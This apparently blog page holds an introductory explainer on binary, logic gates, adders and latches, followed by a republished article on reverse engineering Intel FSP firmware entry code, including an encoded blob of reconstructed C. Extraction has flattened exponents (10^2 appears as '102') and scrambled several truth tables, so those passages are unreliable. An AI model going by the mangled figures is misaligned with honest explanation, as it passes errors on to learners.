So, ‘binary‘ is just a way to represent numbers, as you probably know, we use the ‘decimal’ base (decimal means 10), that’s probably due to the fact that human beings have 10 fingers (also known as digits in the English language, not a coincidence). This means that we use 10 ‘digits’ in our ‘alphabet of numbers’.. just like we have 26 letters in the alphabet and putting them together forms words, we do the same with numbers, by using the 10 digits (0 to 9) and putting them together to form numbers. A zero can be written as ‘0’ or as ‘0000000’, and when you start to increment it (counting), once you reach 9, your first digit goes back to 0, and the second digit is increment from 0 to 1, giving you 10 (or 000000010).
Let’s take the random number 1234, that can be written as :

1 * 1000 + 2 * 100 + 3 * 10 + 4 * 1 = 1234.

Note also that 100 is 10 * 10 or 10 to the power of 2 (102) and 1000 is 10 * 10 * 10 or 10 to the power of 3 (103) and also note that 10 is 10 to the power of 1 (101), and 1 is 10 to the power of 0 (100)..
So for a random number with digits xyz, it can be written as :

x * 102 + y * 101 + z * 10

It’s actually quite simple, a decimal base for numbers simply means that each digit can have 10 different values, and when you reach the maximum value, you go back to zero and increment the next digit to its left (after 9, it’s 10), and the total value is the addition of each digit multiplied by your base (10) exponent the position of the digit in the number.

Binary data is the exact same thing, but it uses base 2, which means that there are 2 possible digit values (0 and 1), and you use ‘2’ as the multiplier, in other words, a random binary number xyz is the same as :

x * 22 + y * 21 + z * 20, or
x * 4 + y * 2 + z * 1.

This means that the binary value 010011101 is the same as the decimal value 2 *1 + 0 * 2 + 1*4 + 1 * 8 + 1 *16 + 0 *32 + 0 * 64 + 1 * 128 + 0 *256 = 157.. 

An easy way for me to read binary values is to simply assign a value to each digit and add them if the value is 1. Those values are of course the 2 exponents, so : 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, etc.. in other words, for the previous example of 010011101 :

   0   –   1  –   0 –  0  –  1 –  1 – 1 – 0 – 1
256 – 128 – 64 – 32 – 1684 – 2 – 1

So I add (from right to left), 1 + 4+ 8 + 16 + 128… which gives me 157.

When we talk about binary, we use the term ‘bit’ to represent one ‘digit’ of the number, and when we have 8 bits, we call them one ‘byte’. So one byte can have 256 values, from 0 to 255 (128+64+32+16+8+4+2+1 = 255).

That’s pretty much all you need to know about binary data… let’s move on now!

Why do computers use binary ?

The reason is simple: computers work using electricity (duh!) 🙂

So, how can a computer do all of the stuff it does just by using electricity? Well, it’s simple, it uses electricity to represent binary data. If there is electricity on the wire, it’s a 1, if there is no electricity, then it’s 0… by simply controlling if there should be some electrical current on a wire or not, and how that electricity changes over time, it’s able to represent numbers and any other data it wants by simply using that binary representation, and it uses that in order to accomplish a lot of stuff.. A number can be used to represent anything, depending on how the computer decides to interpret that value… and so it can an actual number, or a character, or a pixel, or even code,  let’s see what it does with it.

Assembly code

You’ve all probably heard of people talking about “assembly code”… the assembly code, also known as “machine code”, is just some binary data that the CPU (the processor) can understand. The assembly is just a way to tell the computer what to do, it’s basically just giving instructions to the computer for it to accomplish, depending on what value it has. Like I said above, a number can represent anything, so let’s create some fake assembly code, we’ll just assign an ‘instruction’ to some numbers :

1 = add
2 = substract
3 = multiply
4 = divide
5 = copy
etc…

When the computer reads the assembly code, if it sees a ‘4’, it will divide, if it sees ‘1’, it will add, etc… For now, I won’t explain what it adds, or where it stores it, or how it does it, etc.. I’ll leave that for a potential part 2 of this article.

I’ve actually written an introduction to assembly code and reverse engineering a few years after I wrote this article, which you can read here.

Transistors

Oh, the transistors, everyone probably heard that word but noone really knows what it means… all we know is that computers are full of transistors and that’s how it functions…

Well, a transistor is simply a sort of electronic switch, like your door bell, for example. It has two wires, and a button, if you push the button, the two wires are connected together and the electricity flows through them, if you release the button, the two wires are disconnected, and the bell stops ringing. That’s the whole basis of how a computer works, transistors are indeed at the heart of its functioning, and I will explain how and why.

So, like I said, a transistor is like a switch, but it doesn’t use a button, it just uses a third wire. Let’s say you have a transistor with wires A and B and S. when there is electricity flowing through the wire S, then A and B are connected, if there is no electricity flowing through S, then A and B are disconnected.

By using these transistors, we can build some slightly more complicated, and very useful, components which is what the computer really uses. These are called “logic gates”, and that’s what I want to talk about in this article, but first, I want to explain how those logic gates work.

Logic gates

So, what is a logic gate? A logic gate is an electrical component whose output is influenced by its input, there are 3 major logic gates, the AND, the OR, and the NOT. Let’s start with the NOT since it’s the most simple… it has an entry “A” and an output “Z”, if the value of A is 0, then the output Z will have a value of 1, if the value of A is 1, then the output Z will be 0. Now you notice, I said “0” and “1”, instead of “electricity flowing through the wire” like I was saying before.. simply because, as I explained before, the computer uses binary data and it’s represented by whether or not electricity is flowing. When we talk in terms of logic gates, we talk in terms of binary input and output, but it is indeed the same thing as saying that electricity flows through it.

Here’s the Input/Output table for the NOT gate (Called the Truth Table): 

Input AOutput Z
01
10

Now, the AND gate should be obvious, it has two inputs A, and B, and one output Z, if both the input A and B are 1, then the output Z is 1, if one of the inputs or both of them are 0, then the output Z is 0. The same logic can be applied to the OR gate, if at least one of its input A or B is 1, then the output Z is 1, if both inputs A and B are 0, then the output is 0.

Here are both of their I/O tables :

ANDOR
ABOutput ZABOutput Z
000000
010011
100101
111111

There is a fourth logic gate called a XOR, or “Exclusive OR”, which acts a bit differently, in its case, if A or B is 1 but NOT both at the same time, then its output Z is 1, otherwise, it’s 0. The XOR gate can easily be created by mixing together a couple of AND and OR and NOT gates in order to achieve the same result.

ABOutput Z
000
011
101
110

From these logic gates, there are some others than can be created, the NAND and NOR gates, which are simply the same as “NOT AND” and “NOT OR”, the output Z has the opposite value of what it should be with the AND and OR gates respectively, and they can be created by connecting the Z output of the AND (or the OR) to the A input of the NOT. They are still considered as logic gates because they can be created into a single component using less transistors than if we used both the AND + NOT components linked together… but that’s not particularly important.

Let’s see how you can create an AND gate using transistors… Don’t forget that these are electrical components, which means they need power, like any of your electrical devices, so truly an AND gate will have 5 entries (known as ‘pins’), one VCC (power), one ground (represents 0V), the A and B inputs and the Z output, you can imagine it as being one box that you plug into your wall power socket, and it has two buttons and one light bulb, if you press both buttons, the light bulb goes on.

So the simple solution would be to connect your light bulb’s ground to the ground pin, and the light bulb’s power connector to one side of the first button, connect the two buttons together and connect the other wire of the second button to the power cord. This way, when you press both buttons, the power flows through the light bulb since the connection is made.. Let me show you my awesome skills in using Paint :

Thinking about it in terms of transistors, you would connect the Z output to one end of a transistor, connect the other end to one end of another transistor, and connect that other end to the power, then you can connect your A input to the ‘S’ pin of one transistor, and your B input to the ‘S’ pin of the second transistor… Here’s what a properly drawn (just means I didn’t use Paint this time, but it’s still a simplification) electrical schema would look like :

AND Gate

I will leave it to you as an exercise to try and figure out how to connect transistors together in order to create an OR, XOR and NOT gate.

Now, that’s about as far as I got when writing this in 2013, and I don’t remember all I had planned to write, but I think that the following section is going to be interesting.. it was one of the most interesting things I had to do at university. I won’t use blue for the rest, but whatever is written below was written in 2019.

One last thing I want to say about logic gates before we get started is that, this is how they are represented in schematics :

Logic gates

A simple adder

The task we will be doing now is to create a simple adder. An adder is a small electrical circuit which does an addition and nothing else. A simple adder is the same thing but it only does it for single digit numbers (which means a single bit, in the binary world). Get ready, we’re gong to kick it up a notch…

The first step will be to create the Truth Table for our adder. If we add 0 + 0, that gives us 0, that’s obvious.. if we add 1 + 0 that gives us 1, same thing for 0 + 1 of course, but then what do we do with 1 + 1 ? That gives us 10 (which is 2 in binary), but we’re working with a single bit, so ? So it’s simple, the answer is 0 and we have a carry.

Here’s the truth table for our adder which takes two inputs A and B and gives the sum S as its output :

ABS
000
011
101
110

Does this look familiar? Yes, exactly, it’s the same truth table as the XOR table above… So a simple XOR logic gate is already doing an addition for us!

Let’s make it a little more complicated, what if our adder had two outputs, the sum S and the carry value C. We get this truth table :

A (Input)B (Input)C (Output)S (Output)
0000
0101
1001
1110

If we just look at the C column, it looks very similar to the truth table of the AND gate.. So the Carry bit is the result of an AND gate. That sounds really simple, let’s create a circuit with that :

Half Adder

That looks simple enough, right? Well, it is, but it’s also pretty useless, right? What can you do with just 1 bit additions… Also, the one with the most observation, may have noticed that the circuit above was titled ‘Half adder’ and wondering what I mean by ‘half adder’.. well, it just means that it doesn’t take into account a possible carry from a previous operation. A full adder will be the same thing, but it also takes a third input ‘CIN’ (for Carry-In) to do the addition.

If we were to do a full adder, we’d need 3 inputs, and here is the truth table for it (try to write it yourselves before looking, would be interesting to see if you get it right) :

A (Input)B (Input)CIN (Input)COUT (Output)S (Output)
00000
00101
01001
01110
10001
10110
11010
11111

Do you want to try and figure out what logic gates to use to build such a circuit ? There are equations you can use to determine the most optimal gates for each output based on the inputs and the truth table, but I’m not going to show you that here. Instead if you filled the table yourself or looked at it enough to understand it, or just use your brain’s logic, you would have figured out that a full adder is basically just doing the sum of the 3 inputs, so it’s a 3 bit addition, so ‘A + B + CIN’ or ‘(A + B) + CIN’, yes.. it can be built using two half adder. Let’s do that now :

Well.. we have a problem, once we add the partial sum S from the first half adder and add the carry CIN to it, we end up with two carry values, one from each half adder, plus our sum. Are we back to square one having to add 3 bits again? How do we determine our own sum and carry output? Well, let’s do a truth table using the partial sum S1 and carry C1 with the second operation’s sum S2 and carry C2.

Note that we know that the sum value S1 will always be 0 if C1 is 1, and S2 will always be 0 if C2 is 1 (see the half adder’s truth table above). But also that the carry C2 can never be 1 if both CIN and S1 are not 1. Therefore, we can only put a 1 in the C2 column if S1 is also 1, and we can only put 1 on the S1 or S2 columns if C1 or C2 respectively are 0. We also know that if S1 is 1, then we can’t have both S2 and C2 set to 0.

A (Input)B (Input)CIN (Input)S1C1S2C2COUT (Output)S (Output)
000000000
001001001
110010010
111011011
1
0
0
1
1
1
100110
1
0
0
1
0
0
101001

Looking at the table, we can see that our output S is always the same value as S2, and that our carry COUT is 1 if any of the two operations caused a carry, in other words, if we clear out the columns we don’t care about in the previous table, it’s looking like this :

C1C2COUT
000
101
011

That looks like a simple OR gate, so let’s do that and we get our full adder :

Full Adder using 2 half adders and a OR gate

Or if we ignore the half adder blocks and just show the logic gates in use, this is the result :

Full adder

So, you know how to do additions using logic circuits and you’re probably wondering how that’s useful and how that helps you better understand how a computer works. Well, the reason the full adder is so cool is that you can chain it up. So here’s a very simple 4 bit adder :

4 bit adder

It’s not so bad, right? you have a 4 bit value (0 to 15) A and another 4 bit value B, you can add it and get your sum S on 4 bits with a carry. You can do this until you get to 32 bits, which is a full integer on 32 bit systems.

By having a 32 bit adder, and a substracter and divider and multiplier and all sorts of other small components like that, using logic gates which use transistors, you end up with a bigger block called the ALU (Arithmetic Logic Unit) and with even more complex circuits, you end up with a CPU (Central Processing Unit) which is what runs your entire computer’s logic.

Multiplexers and demultiplexers

I’m not going to get into multiplexers (mux) and demultiplexers (demux) too much, but I want to explain the basic concept. A multiplexer will select one input based on a selector and put it into its output. Let’s assume we have 8 input lines, I0, I1, I2, … I7, and one output Z.. we want to connect Z to one of those input lines, so we use a 8-to-1 multiplexer and use a 3 bit selector (since 3 bits can hold values 000b (0 in decimal) to 111b (7 in decimal) which is enough for our 8 inputs). Based on the value of the selector, the output will be connected to the appropriate input. Sounds simple enough right ?

You can read more about them on this wikipedia page and here’s a drawing taken from that page that shows the logic gates used to construct a 4 to 1 mux :

4 to 1 mux

A demuxer is the opposite. It receives one input and a selector and outputs it one of its numerous outputs. So let’s say a demuxer has 8 outputs, if the selector has value 5, then the 5th output will be connected with the input of the demuxer.

Why I’m explaining all of this? Because the computer is a big muxer/demuxer and that’s how it executes code. You remember when I said that a transistor actually has 5 pins? the 2 inputs A and B, the output Z but also a power input and a ground input to actually power it ? Well, since logic gates are made of transistors, they also need to be connected to both a power source and ground (how would you expect a NOT to output a 1 (which is 5 Volts) if it receives 0 as inputs (which is 0 volts).. we’re not creating energy out of thin air! So yes, these circuit diagrams are always simplified, but you can always assume that every transistor, every logic gate, and every half/full-adder block, multiplier block, ALU, CPU, etc.. will have a 5V power and ground pin going into it.

Your CPU (or ALU in the example below) receives an instruction and needs to ‘decide’ what to do, so here’s how it does it :

  • Connect all your inputs to every instruction block you have, so your A and B inputs will go into the addition block, substraction block, multiplication block, etc…
  • At the output, use a gigantic OR gate (chaining multiple OR gates one to the other) to OR the output of all of your instruction blocks and put that as your single output.
  • Use a demuxer where the instruction you received is the selector of the demuxer, the input is connected to the 5V power input and each output of the demuxer is connected to the 5V power input of each of your blocks.
  • When you receive an instruction, only one of the blocks will be active because only one of those blocks will receive power.

And that’s how you make your CPU decide on what to do when it receives an instruction 🙂

SR Latch

This is mostly just for fun, but if you’re wondering what else can be done with transistors and logic gates, how about memory ? Yes, a simple 1 bit memory component can be created using a few logic gates, they are called flip flops. A simple one is called an SR Latch. the ‘SR’ is because of its inputs. S for ‘set’ (set the memory value to 1) and ‘R’ for Reset (set the memory value to 0). Can you figure out how to create a small block with only two logic gates which can act as memory ? Here’s a hint, you only need 2 NORs… how would you connect them in such a way that it remembers the last value you set/reset it to ?

Well, you can read more about flip flops on wikipedia here and here’s how it can be done :

SR Flip-Flop

As you can see, by connecting the two gates’s output as input to their companion, you create memory.. Once you set 1 to the S value, the bottom NOR gate will output a 0, which will cause the top gate to output a 1 (remember, a NOR will like an OR gate with a NOT at the end, so it will output a 0 whenever an input is 1 and will output 1 when both inputs are 0). When the top gate is outputting 1, this causes the bottom gate to keep receiving a 1 on its inputs even if S stops being set. When setting R to 1, it will force the top gate to output 0, which does the same thing in reverse… Here’s a simple animation that shows how it works (copied from its wikipedia article) :

Animation of how an SR latch functions

Conclusion

You can build from that, from the simple “electricity means 1 and no electricity means 0”, into using transistors (basically electric push buttons) to build the AND, OR, NOT, XOR logic gates to building a more complex logical block such as an adder or a demuxer to building an even more complex processing unit such as an ALU using multiple blocks and a demuxer to interpret instructions it receives to building the extremely complex CPU which handles billions of instructions per second in order to do what we want it to do.

The transistors let us create memory, and computers and basically any electronics device will have transistors in them. According to the wikipedia page for transistor count, a recent CPU has about 7 billion transistors. The iPhone 11 Pro has 8.5 billion, and the PS3’s Cell processor had 250 million transistors… And to think that at some point in the past, a single transistor was as big as a light bulb…

I hope this was interesting and entertaining and mostly educational. I’ve obviously gone very quickly from the very basic to the very complex, but I hope you were all able to follow regardless and even if you don’t understand all of it, you get the broad strokes and understand better how a computer works.

Intel FSP reverse engineering: finding the real entry point!

DISCLAIMER: This post was originally posted on Puri.sm‘s blog but then taken down after they received a letter from Intel requesting the article be removed as it contained information about reverse engineering the FSP which was against their License. I am putting this article back up again on my personal blog for the following reasons :

  • Their current license only prohibits the reverse engineering with regards to ‘Redistribution’, and since I am not working for Purism anymore, I am not involved with redistribution of any of their binaries and therefore it does not affect me.
  • The files I had originally worked on were cloned from this specific commit on their repository which had a BSD style license which did not prevent any reverse engineering (but I do know that a more restrictive license was added in a subsequent commit 30 minutes later, but it wouldn’t change the fact that the FSP in that specific branch is using the BSD license and the ‘license change’ wouldn’t be considered retroactive).
  • Since I live in Canada, Reverse Engineering is allowed when it comes to security or interoperability, which is the case here. I know that this is more of a license issue than a copyright violation issue (where Canadian law would apply), but I don’t see why someone could revoke my right to do security research by invoking a license breach.
  • The reverse engineering and security research that has been done in recent years by other companies or individuals (most notably PT Research or Peter Bosch) has far surpassed what I have written in this article, and this article is a lot more educational and along the lines of my previous Introduction to Reverse Engineering article than one about secrets hidden in the assembly code. I think that whatever damage Intel might think it does is extremely minimal compared to other existing projects.
  • The article is and has always been available on the web archive, so it wasn’t ever really taken down from the internet, whether to link to my blog or to the web archive when people mention this article would make no actual difference. I think the important part is that it is not hosted on purism’s website since they are a laptop manufacturer and therefore a distributor of the FSP within their products.

For the above listed reasons, among others, I am releasing this article to the public again. I have also gone through it to remove a particularly long code snippet which was not required for understanding and made sure that any other screenshots I’ve had would fall well within the fair use clause.


After attending 34C3 in Leipzig at the end of December 2017, in which we (Zlatan and me) met with some of you, and had a lot of fun, I took some time off to travel Europe and fall victim to the horrible Influenza virus that so many people caught this year. After a couple more weeks of bed rest, I continued my saga in trying to find the real entry point of the Intel FSP-S module.

WARNING: This post will be very technical, and even if you are a technical person, you will probably need to have read my previous “Primer guide” blog post in order to be able to follow most of it. If however, you’re not a technical person, don’t worry, here’s the non-technical executive summary:

  • I made some good progress in reverse engineering both the FSP-S and FSP-M and I’m very happy with it so far
  • Unfortunately, all the code I’ve seen so far has been about setting up the FSP itself, so I haven’t actually been able to start reverse engineering the actual Silicon initialization code.
  • This blog post is about finding the “real entry point”, the real silicon initialization code and I’ve been jumping through a lot of hoops in how the FSP initializes itself in an attempt to find where it actually does start the initialization code and I believe I’m very close to finding it.
  • Progress is good and still ongoing, and the task will be done at some point, so stay patient as you have been so far.
  • This post is mostly about going step by step over the process of reverse engineering that I’ve done so far. It helps you follow along on the progress, helps some of you learn how it’s done and what happens behind the scenes.

Diving back into the depths

If you remember, in my primer to reverse engineering the FSP, I said the following :

“I’ve finished reverse engineering the FSP-S entry code—from the entry point (FspSiliconInit) all the way to the end of the function and all the subfunctions that it calls. This only represents 9 functions however, and about 115 lines of C code; I haven’t yet fully figured out where exactly it’s going in order to execute the rest of the code. What happens is that the last function it calls (it actually jumps into it) grabs a variable from some area in memory, and within that variable, it will copy a value into the ESP, thus replacing our stack pointer, and then it does a ‘RETN’… which means that it’s not actually returning to the function that called it (coreboot), it’s returning… somewhere, depending on what the new stack contains, but I don’t know where (or how) this new stack is created, so I need to track it down in order to find what the return address is, find where the RETN is returning us into, so I can unlock plenty of new functions and continue reverse engineering this.”

Diving Deeper

Today, we will examine what happens in more details. Get ready for the technical part now, because we’re going to dive right back in, and we’re going to go pretty deep as I walk you through the steps I took to reverse engineer that portion of the code to figure out what happens. I’ll go pretty fast over things like “look at this ASM function, this is what it does” because you don’t need the details; I’ll mostly explain the weird/unusual/non-straightforward things.

First, a little preface: there are two FSP files, the FSP-M and FSP-S. The FSP-M contains the functions for the memory initialization and the FSP-S contains the functions for the silicon initialization. Coreboot will run the MemoryInit from FSP-M during its romstage, then once the RAM is initialized, it will start its ramstage in which it will run the SiliconInit function from the FSP-S file.

The FSP-S file is loaded into memory by coreboot, then the address of the ‘SiliconInit‘ function is retrieved from the FSP-S file header and coreboot calls that function. That function is pretty simple, it just calls the ‘fsp_init_entry‘ function (that’s how I called it). Actually, all of the FSP entry point functions will call this same fsp_init_entry() but will set %eax to a different value each time, to represent which FSP entry point function was called. See for yourselves:

Note that in the FSP-S file, the ‘jmp fsp_memory_init‘ (in the lower-right corner) is replaced with ‘jmp infinite_loop‘ instead. This screenshot was actually taken from the FSP-M file, which is why it shows “jmp fsp_memory_init“.

So, each of the entry points in the various FSP images (on the left, I showed entry points for both FSP-S and FSP-M files) will call fsp_init_entry which will call validate_parameters() and then if the %eax register is 3 (you’ll notice that’s the value set by memory_init_entry), it will call fsp_memory_init, otherwise it will jump into switch_stack_and_run (after calling gst_fsp_info_header, you’ll see why below). All that the switch_stack_and_run() function does is to replace the stack pointer (first storing all of the registers into it and replacing all the register values from ones taken from the new stack), then finally return. See for yourselves:

It might look complicated, but it’s not that much:

  1. it does a bunch of ‘push‘, the first is to push %eax, which is the return value from the previous “call get_fsp_info_header” call in the fsp_init_entry function above,
  2. then it calls ‘pushf‘ which pushes the EFLAGS register,
  3. then “cli” will disable interrupts (this is to avoid having some interrupt triggered and change things from under our noses),
  4. then ‘pusha‘ which will push all of the registers into the stack,
  5. then we subtract 8 bytes from the stack, basically allocating 8 bytes,
  6. then calling ‘sidt‘ which is “Store Interrupt Descriptor Table”.
  7. Finally it calls ‘save_fspd_stack‘ and it gives it the %esp (stack pointer) as argument. That function will store that argument into offset 8 of the address stored in 0xFED00148… but since I already reversed that, let’s make it easier for you and just say that it stored the argument in the StackPointer field (offset 0x08) of the FSPD data structure,
  8. then return in %eax the previous value that was stored there.
  9. switch_stack_and_run will store the returned address into %esp, effectively replacing the entire stack,
  10. then it will proceed to pop back all the registers, flags, IDT back into their respective places,
  11. then return which will make us return not into the fsp_init_entry function (nor to coreboot since fsp_init_entry actually did a ‘jmp‘, not a ‘call‘), but rather it returns to whatever was the return address of the calling function from the new stack pointer.

This is what I explained in my previous blog post (which I quoted at the beginning of this post).

To make things easier to visualize for you, here’s a description of the stack contents (as an IDA structure):

In the picture above: you’ll notice that of course, the top of the stack contains the last thing that was pushed into it, and the ‘dd’ means ‘data double word’ (4 bytes) and ‘dw’ means ‘data word’ (2 bytes) so you’ll see the ‘idt_’ values at the top of the stack represent 8 bytes (2 + 4+ 2) because as the ‘sidt‘ instruction describes, the IDT is made up of 6 bytes, the limit (2 bytes) and the base address (4 bytes). You may also notice the ‘first_argument_on_stack‘, that’s because the silicon_init was called with an argument (UPD configuration structure) and that was initially on the stack and still is on the stack when the stack exchange occurs.

If you want to see the C code equivalent that I wrote when reverse engineering these functions, head over to the new git repository I created for this project. This code is common to both FSP-S and FSP-M and so it’s available in the fsp_common.c file.


I’m FED00148 up

So now, the big question! I had no idea what’s in this “0xFED00148” address (the one you saw as ‘ds:FSPD’ above) or who sets its content, or what it contains. I eventually figured out it’s the “FSP DATA” structure and I know what some of its fields are (such as the Stored StackPointer at offset 8), but at first, I had no idea, so here’s what I did: I dumped the content of the 0xFED00148 address from coreboot prior to calling SiliconInit, that gave me the address of the FSPD structure and at offset 8, I found the new stack pointer that the FSP-S will use, and from there, I manually popped the values until I found the new return address.

Thanks to my previous StackContents structure, we already know that the return address is at offset 0x30 in the saved stack, so in the above coreboot console output, we see the return address value is 0xffcd7681 (what you see as “81 76 cd ff” above, because x86 stores data in Little-Endian, that means the bytes are read right to left), and that doesn’t match anything in the FSP-S since we can see that the silicon_init function is at 0x6f9091da and offset 0xffcd7681 is way beyond the boundaries of the FSP-S file. However, I thought of also printing the offset of the FSP-M file when MemoryInit was being called and the result was: 0xffc82000. That’s a lot more likely to mean that the return will return into a function of the FSP-M file instead, more specifically 349 825 bytes inside the FSP-M file (0xffcd7681 – 0xffc82000 = 0x55681 = 349825).

This also makes more sense because since we just loaded the FSP-S into RAM, and we haven’t called silicon_init yet, that means this FSPD data structure at 0xFED00148 must have been set up by something else, and since coreboot doesn’t know anything about it, it’s obvious that the FSP-M is the one that actually creates and initializes that FSPD data structure. The only ‘safe’ return value that FSP-M knows has to be a function within itself since it doesn’t know yet where FSP-S is loaded into memory.

Jumping through our first hoop

If I go to that return address in IDA, I find an ‘uncharted territory’, meaning that IDA did not think this contained code because no function called into this place, but by pressing ‘c’, I transform it into code, then I go back up and do it again and convert another portion of data into code until I found the “function signature” of most functions (called the function prologue which amounts to “push ebp; mov ebp, esp“) telling me it’s the start of the function, then I pressed the ‘p’ key to tell IDA to transform this into an actual function and success, I got a function disassembled by IDA which contains our return value. Since the FSP-M is supposed to be loaded at 0xFFF6E000, with the 0x55681 offset, that means that we return into address 0xFFFC3681 and I made a label there and called it “RETURN_FROM_ESP” as you can see below, and the interesting thing is that the assembly line right above it is a “call switch_stack_and_run_2” which is actually another function that contains the exact same code as the ‘switch_stack_and_run‘ we saw before (it happens often that functions are duplicated in the code).

This makes sense because this means that this is the last function of the FSP-M. After the Memory Initialization is done, it calls switch_stack_and_run and that causes it to stores its current state (registers, stack, return address) in the FSPD data structure then return into coreboot, and when we call the silicon_init and it also calls switch_stack_and_run it reverts the stack and registers to what it was and the execution continues in this function. It’s pretty weird and convoluted, I know…

So yay, I found where the FSP-S returns into, it’s in this function in FSP-M, now I need to figure out what this does and how it knows where to find the real entry point from FSP-S and how it calls it. So I reverse engineered it (starting at that offset, I don’t care about what happens before) and it was a fairly big/complicated function which translates roughly into the following C code:

[[code]]czoyMTQ0OlwiLy8gVGhpcyBzdGFydHMgYXQgdGhlIG1pZGRsZSBvZiB0aGUgZXhpdCBmdW5jdGlvbiBvZiBGU1AtTS4gVGhpcyBpcyB7WyYqJl19d2hhdCBnZXRzIGNhbGxlZCAocmV0dXJuZWQgaW50bykKLy8gd2hlbiBUZW1wUmFtRXhpdCBvciBTaWxpY29uSW5pdCBnZXQgY2FsbHtbJiomXX1lZC4KRUZJX1NUQVRVUyBpbnRvX25ld19zdGFja19yZXR2YWx1ZSgpIHsKICBGU1BfREFUQSAqZnNwX2RhdGEgPSAqRlNQX0RBVEFfe1smKiZdfUFERFI7CiAgY2hhciBsYXN0X3RzY19ieXRlOwogIHVpbnQzMl90IGZpeGVkX210cnJzWzB4Ql0gPSB7MHgyNTAsIDB4MjU4LCAweDJ7WyYqJl19NTksIDB4MjY4LCAweDI2OSwgMHgyNkEsIDB4MjZCLCAweDI2QywKICAgICAgICAweDI2RCwgMHgyNkUsIDB4MjZGfTsKCiAgaWYgKHtbJiomXX1mc3BfZGF0YS0+QWN0aW9uID09IEZTUF9BQ1RJT05fVEVNUF9SQU1fRVhJVCkgewogICAgZnNwX2RhdGEtPlBvc3RDb2RlID0gMHhCe1smKiZdfTAwMDsgLy8gVGVtcFJhbUluaXQgUE9TVCBDb2RlCiAgICBsYXN0X3RzY19ieXRlID0gMHhGNDsKICB9IGVsc2UgewogICAgZnNwX2R7WyYqJl19YXRhLT5Qb3N0Q29kZSA9IDB4OTAwMDsgLy8gU2lsaWNvbkluaXQgUE9TVCBDb2RlCiAgICBsYXN0X3RzY19ieXRlID0gMHhGNjsKIHtbJiomXX0gfQoKICBzdG9yZV9hbmRfcmV0dXJuX3RzYyhsYXN0X3RzY19ieXRlKTsKICAKICBpZiAoZnNwX2RhdGEtPkFjdGlvbiA9PSBGU1Bfe1smKiZdfUFDVElPTl9URU1QX1JBTV9FWElUKSB7CiAgICBwb3N0X2NvZGUoZnNwX2RhdGEtPlBvc3RDb2RlIHwgMHg4MDApOyAvLyAweEI4MDB7WyYqJl19IFRlbXBSYW1Jbml0IEFQSSBFbnRyeQogICAgc3ViX0M0MzYyKCk7CiAgICBzdWJfQzM0NUYoKTsKICAgIHN0b3JlX2FuZF9yZXR1cntbJiomXX1uX3RzYygweEY1KTsKICAgIGZzcF9kYXRhLT5TdGFja1BvaW50ZXJbMHgyNF0gPSAwOyAvLyBTZXQgZWF4IGluIHRoZSBvbGQgc3Rhe1smKiZdfWNrCiAgICBzd2FwX2VzcF9hbmRfZnNwX3N0YWNrKCk7CiAgICBmc3BfZGF0YS0+UG9zdENvZGUgPSAweDkwMDA7IC8vIFNpbGljb257WyYqJl19SW5pdCBQT1NUIENvZGUKICAgIHN0b3JlX2FuZF9yZXR1cm5fdHNjKDB4RjYpOwogIH0KICBwb3N0X2NvZGUoZnNwX2RhdGEtPlBvc3tbJiomXX10Q29kZSB8IDB4ODAwKTsgLy8gMHg5ODAwIFNpbGljb25Jbml0IEFQSSBFbnRyeQogIAogIGludCBtdHJyX2luZGV4ID0gMDsKICB3e1smKiZdfWhpbGUgKHJkbXNyKGZpeGVkX210cnJbbXRycl9pbmRleF0pID09IDApIHsKICAgIG10cnJfaW5kZXgrKzsKICAgIGlmIChtdHJyX2l7WyYqJl19bmRleCA+PSAweEIpIHsKICAgICAgaW50IG10cnJjYXAgPSByZG1zcihJQTMyX01UUlJDQVApOyAvLyAweEZFOwogICAgICBpbnQgbntbJiomXX11bV9tdHRyID0gKG10cnJjYXAgJmFtcDsgMHhGRikgKiAyOwoKICAgICAgaWYgKG51bV9tdHRyKSB7CiBtdHRyX2luZGV4ID0gMDsKe1smKiZdfSBkbyB7CiAgIGlmIChyZG1zcigweDIwMCArIG10dHJfaW5kZXgpID09IDApCiAgICAgYnJlYWs7CiAgIG10dHJfaW5kZXgrKzsKICB7WyYqJl19IGlmIChtdHRyX2luZGV4ID49IG51bV9tdHRyKSB7CiAgICAgc3ViX0MzNDVGKCk7CiAgIH0KIH0gd2hpbGUobXRycl9pbmRleCAmbHtbJiomXX10OyBudW1fbXRycik7CiAgICAgIH0gZWxzZXsKIHN1Yl9DMzQ1RigpOwogICAgICB9CiAgICB9CiAgfQoKICBpbmZvX2hlYWRlciA9e1smKiZdfSBmc3BfZGF0YS0+U3RhY2tQb2ludGVyWzB4MkNdOwogIGlmIChpbmZvX2hlYWRlci5TaWduYXR1cmUgIT0gXFxcJ0ZTUEhcXFwnKQogICAge1smKiZdfWluZm9faGVhZGVyID0gZnNwX2RhdGEtPkluZm9IZWFkZXJQdHI7CgogIHZvaWQgKnB0ciA9IGluZm9faGVhZGVyLkltYWdlQmFzZTt7WyYqJl19CiAgdXBwZXJfbGltaXQgPSBpbmZvX2hlYWRlci5JbWFnZUJhc2UgKyBpbmZvX2hlYWRlci5JbWFnZVNpemUgLSAxOwoKICB3aGlsZXtbJiomXX0gKHB0ciAmbHQ7IHVwcGVyX2xpbWl0ICZhbXA7JmFtcDsgcHRyWzB4MjhdID09IFxcXCdfRlZIXFxcJykgewogICAgdWludDMyX3QgZ3VpZHtbJiomXX1bXSA9IHsweDFCNUMyN0ZFLCAweDRGQkNGMDFDLCAweDFCMzRBRUFFLCAweDE3MkE5OTJFfTsKCiAgICBpZiAoKih1aW50MTZfdCAqe1smKiZdfSkmYW1wO3B0clsweDM0XSAhPSAwICZhbXA7JmFtcDsgY29tcGFyZV9ndWlkKHB0cisqKHVpbnQxNl90ICopJmFtcDtwdHJbMHgzNF17WyYqJl19LCBndWlkKSAhPSAwKSB7CiAgICAgIHdlaXJkX2Z1bmN0aW9uKHB0ciwgcHRyWzB4MjBdKTsKICAgIH0KICAgIHB0ciArPSBwdHJbMHtbJiomXX14MjBdOwogIH0KICByZXR1cm4gMDsKfQpcIjt7WyYqJl19[[/code]]

It’s pretty long code but relatively easy to understand. Step by step:

  1. It will check if the action value stored in the FSPD data structure at 0xFED00148 is 4 or 5 (remember the “mov %eax, 5” in silicon_init and and “mov %eax, 4” in temp_ram_exit before fsp_init_entry gets called). Since all the registers/stack/etc. get restored, that explains why all the data we need to keep across stack exchanges needs to be stored in this FSPD data structure, and yes, that %eax value from fsp_init_entry gets stored in the FSPD (during validate_parameters).
  2. It then sets the PostCode variable in FSPD to either 0xB000 or 0x9000 (which matches the first nibble of the TempRamInit and SiliconInit POST codes),
